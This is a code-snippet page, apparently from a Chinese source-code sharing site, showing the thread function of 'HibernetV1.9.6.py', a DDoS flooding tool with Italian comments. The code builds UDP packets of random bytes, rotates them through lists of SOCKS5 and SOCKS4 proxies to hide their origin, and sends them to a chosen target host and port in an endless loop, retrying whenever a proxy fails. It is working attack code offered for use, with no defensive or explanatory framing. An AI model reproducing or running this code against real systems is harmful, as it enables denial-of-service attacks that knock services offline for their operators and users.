HibernetV1.9.6.py 文件源码

python
阅读 25 收藏 0 点赞 0 评论 0

项目:Hibernet 作者: All3xJ 项目源码 文件源码
def run(self): # la funzione che da' le istruzioni ai vari threads
        data = random._urandom(1024) # data per il pacchetto random
        p = bytes(IP(dst=str(url2))/UDP(dport=int(port))/data) # crea pacchetto udp classico + data
        current = x # per dare l'id al thread
        if current < len(proxies): # se l'id del thread si puo' associare ad un proxy, usa quel proxy
            proxy = proxies[current].strip().split(':')
        else: # altrimenti lo prende a random
            proxy = random.choice(proxies).strip().split(":")
        go.wait() # aspetta che threads siano pronti
        while True:
            try:
                socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, str(proxy[0]), int(proxy[1]), True) # comando per il proxying con SOCKS
                s = socks.socksocket() # creazione socket
                s.connect((str(url2),int(port))) # connessione
                s.send(p) # invio
                print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) # req + counter
            except: # se qualcosa va storto questo except chiude il socket e si collega al try sotto
                s.close() # intanto chiude il precedente socket non funzionante
                try:
                    socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, str(proxy[0]), int(proxy[1]), True) # poi prova ad utilizzare SOCKS4, magari e' questo il problema dell'errore
                    s = socks.socksocket() # creazione socket
                    s.connect((str(url2),int(port))) # connessione
                    s.send(p) # invio
                    print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) # req + counter
                except: # se nemmeno questo funge, allora il sock e' down
                    print ("Sock down. Retrying request. @", self.counter)
                    s.close() # chiude il socket e ricomincia ciclo
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号